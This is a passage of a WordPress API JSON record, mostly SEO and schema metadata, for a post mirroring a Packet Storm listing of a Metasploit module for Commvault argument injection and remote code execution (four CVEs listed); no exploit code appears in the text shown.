Metasploit: https:\/\/metasploit.com\/download\\n # Current source:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-17886","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=17886\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-09-17T17:19:18&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an unauthenticated&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209626&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-4428&#8243;,&#8221;CVE-2025-57788&#8243;,&#8221;CVE-2025-57790&#8243;,&#8221;CVE-2025-57791&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=17886\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-17T13:28:54+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17886#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17886\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Commvault CLI Argument Injection \\\/ Traversal \\\/ Remote Code Execution_PACKETSTORM:209626\",\"datePublished\":\"2025-09-17T13:28:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17886\"},\"wordCount\":3372,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=17886#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17886\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17886\",\"name\":\"\ud83d\udcc4 Commvault CLI Argument Injection \\\/ Traversal \\\/ Remote Code Execution_PACKETSTORM:209626 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-09-17T13:28:54+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17886#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=17886\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=17886#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Commvault CLI Argument Injection \\\/ Traversal \\\/ Remote Code Execution_PACKETSTORM:209626\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=17886","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-09-17T17:19:18&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an unauthenticated&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-09-17T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:209626&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-4428&#8243;,&#8221;CVE-2025-57788&#8243;,&#8221;CVE-2025-57790&#8243;,&#8221;CVE-2025-57791&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source:...","og_url":"https:\/\/zero.redgem.net\/?p=17886","og_site_name":"zero redgem","article_published_time":"2025-09-17T13:28:54+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"17 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=17886#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=17886"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626","datePublished":"2025-09-17T13:28:54+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=17886"},"wordCount":3372,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=17886#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=17886","url":"https:\/\/zero.redgem.net\/?p=17886","name":"\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-09-17T13:28:54+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=17886#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=17886"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=17886#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Commvault CLI Argument Injection \/ Traversal \/ Remote Code Execution_PACKETSTORM:209626"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/17886","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=17886"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/17886\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=17886"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=17886"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=17886"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}